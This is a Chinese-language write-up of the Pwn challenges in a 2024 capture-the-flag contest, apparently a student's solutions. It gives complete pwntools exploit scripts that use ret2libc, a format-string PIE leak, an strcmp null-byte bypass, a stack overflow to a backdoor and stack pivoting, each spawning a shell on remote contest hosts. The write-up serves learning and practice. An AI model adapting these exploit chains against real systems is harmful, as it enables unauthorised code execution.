2024第十五届极客大挑战 Pwn部分题解
Pwn
ez_shellcode
64位有NX
设了一段内存空间,但是权限是3,可读可写但是不能执行,后门的memset将这段空间的500个字节设为144,也就是NOP空指令,shellcode是bss段的,而后又向shellcode读入400字节。
试了好久都不能ret2shellcode,最后ret2libc写掉了:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("nc1.ctfplus.cn",21074)
elf = ELF("./shellcode")
offset = 0x18 + 0x8
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
io.sendlineafter("do you know shellcode?",b'AAAA')
pop_rdi_ret = 0x401463
ret = 0x40101a
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b"please input your name:")
io.sendline(payload1)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
io.sendlineafter("do you know shellcode?",b'AAAA')
io.recvuntil(b"please input your name:\n")
io.sendline(payload2)
io.interactive()
买黑吗喽了吗
保护:
64位有pie
先是一个菜单:
shop:
view:
view里面有让人注意的点,如果balance也就是我们的钱大于0x100,会读入str1,后门有一个str1和str2的比较,会有两个不同的打印结果,如果比较通过,可以输出balance的地址,再看看多的信息能不能让balance大于0x100。
write:
3这里有栈溢出。
现在的困难就是怎么绕过pie,先看看balance开始是多少:
刚开始有0x100,shop里面的逻辑:
商品1有8件,每件0x20,商品2有7件,每件0x10,再回过头看买的逻辑,是没有对balance进行验证是否大于0的,没钱了还是能继续买这样的话就可以把balance花到负数就可以绕过大于0x100的检验了。
再看view:
FLAG是1,那就可以向str1写入2字节的数据,注意看后面有一个printf,有格式化字符串漏洞,绕过输入%p的话就可以打印出balance的地址,再用泄露出来的地址减去balance的偏移量也就是0x4090,就可以得到pie_base,成功绕过pie保护,后面再ret2libc即可。
exp:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
#io = remote("nc1.ctfplus.cn",21074)
#io = process("./syscall")
io = remote("nc1.ctfplus.cn",12665)
elf = ELF("./syscall")
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))
io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(2))
io.sendlineafter(b"-+]\nyour choice:",str(2))
io.send(b'%p')
io.recvuntil(b"0x")
balance_addr = int(io.recv(14),16)
print("balance_addr: ",hex(balance_addr))
pie_base = balance_addr - 0x4090
pop_rdi_ret = pie_base + 0x11f1
ret = pie_base + 0x101a
main = pie_base + 0x14F9
puts_got = pie_base + elf.got["puts"]
puts_plt = pie_base + elf.plt["puts"]
offset = 0x50 + 8
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"-+]\nyour choice:",str(3))
io.recvuntil(b"Tell me your feedback:")
io.sendline(payload1)
io.recvuntil(b"Thanks for your feedback!We`ll do it better!\n")
puts = u64(io.recv(6).ljust(8,b'\x00'))
print("puts: ",hex(puts))
libc = ELF("./libc.so.6")
#libc = LibcSearcher("puts",puts)
libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
io.sendlineafter(b"-+]\nyour choice:",str(3))
io.recvuntil(b"Tell me your feedback:")
io.sendline(payload2)
io.recvline()
io.interactive()
flag:
简单的签到题
一个简单的算术题
注意接收和发送就好了,用send
exp:
from pwn import *
context(arch='amd64', os='linux', log_level="debug")
# io = process("./main")
io = remote("nc1.ctfplus.cn", 37433)
io.sendafter(b"to start our challenge.", b'\n')
v1 = int(io.recvuntil(b' * ', drop=True))
print(f"第一个数字: '{v1}'")
v2 = int(io.recvuntil(b' =', drop=True))
print(f"第二个数字: '{v2}'")
answer = v1 * v2
print(answer)
io.sendline((str(answer)))
io.interactive()
000000
一个检测password的
生成password:
取的随机字符,漏洞点在于strcmp,当有\x00的时候不管后面是什么,会绕过比较,所以随机的话一直循环是有概率生成password以、x00开头,一直循环试就可以成功绕过
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# 函数用于创建新连接
def create_connection():
return remote("nc1.ctfplus.cn", 29438) # 替换为你的程序名
# return process("./pwn")
while True:
io = create_connection() # 每次循环创建新的连接
buf = b'\x00aaa' # 发送的密码
io.recvuntil(b"Enter the password: ")
io.sendline(buf)
# 接收输出
try:
response = io.recvuntil(b'please keep it safe.', timeout=0.3)
print("Received:", response.decode().strip())
if b'Now you have the secret document, please keep it safe.' in response:
print("Success!!!")
io.interactive() # 进入交互模式
break # 成功后退出循环
# 检查密码是否错误
if b'The password is wrong and you cannot access the secret files.' in response:
print("Password incorrect, retrying...")
io.close() # 关闭当前连接
continue # 重新开始循环以创建新的连接
except EOFError:
print("Connection closed by remote host, reconnecting...")
io.close() # 关闭当前连接
continue # 重新开始循环以创建新的连接
except KeyboardInterrupt:
print("Interrupted by user.")
io.close() # 确保连接被关闭
break
# 关闭连接
io.close()
成功:
你会栈溢出吗
最简单的栈溢出
有后门:
exp:
from pwn import *
#io = process("./gets")
io = remote("nc1.ctfplus.cn",24768)
io.recvline()
backdoor = 0x40073D
payload = b'A'*(0xC+8) + p64(backdoor)
io.sendline(payload)
io.recvline()
io.interactive()
这里的空间有点小啊
保护:
64位没啥保护
看程序:
经典的栈迁移到bss,能溢出0x10也就是2个字节,刚好到ret_addr
按照栈迁移的思路打就好了
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
#p = process("./pwn")
p = remote("nc1.ctfplus.cn",32012)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
bss = 0x601149
vuln = 0x400708
read = 0x40071C
leave = 0x400738
ret = 0x400739
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400853
pop_rbp = 0x400628
p.recvuntil("[1] Write something\n[2] Give you a flag\n>>")
p.sendline(str(1))
payload0 = b'a'*(0x30) + p64(bss+0x30) + p64(read)
p.send(payload0)
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp) + p64(bss+0x500) +p64(read)
payload = payload.ljust(0x30,b"\x00") + p64(bss-0x8) + p64(leave)#栈迁移,先覆盖返回地址为bss,再接leave_ret
p.send(payload)
p.recvuntil(b"Now you can write something")
p.recvuntil(b"\n",drop=True)
data = p.recv(6).ljust(8,b'\x00')#################################接收puts_got
print("接收到的原始数据:", data)
puts_addr = u64(data)
print(hex(puts_addr))
libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))
one = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libc_base + one[2]# #p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
payload = p64(one_gadget)
payload = payload.ljust(0x30,b'\x00')
payload += p64(bss+0x500-0x38) + p64(leave)
p.send(payload)
p.interactive()
有个奇怪的点,最后getshell用自己建的system("/bin/sh")一直打不通,最后还是用的one_gadget才成功的。
one_gadget:
最后用的第二个成功了。
flag:
su~~~~
64位没什么保护
基础的栈溢出,有csu,ret2csu、ret2libc都能打,我直接ret2libc了
exp:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("nc1.ctfplus.cn",44220)
elf = ELF("./csu")
offset = 0x80 + 0x8
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400903
ret = 0x4005d6
io.sendlineafter("exit.",str(1))
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts_addr))
libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendlineafter("exit.",str(1))
io.sendline(payload2)
io.interactive()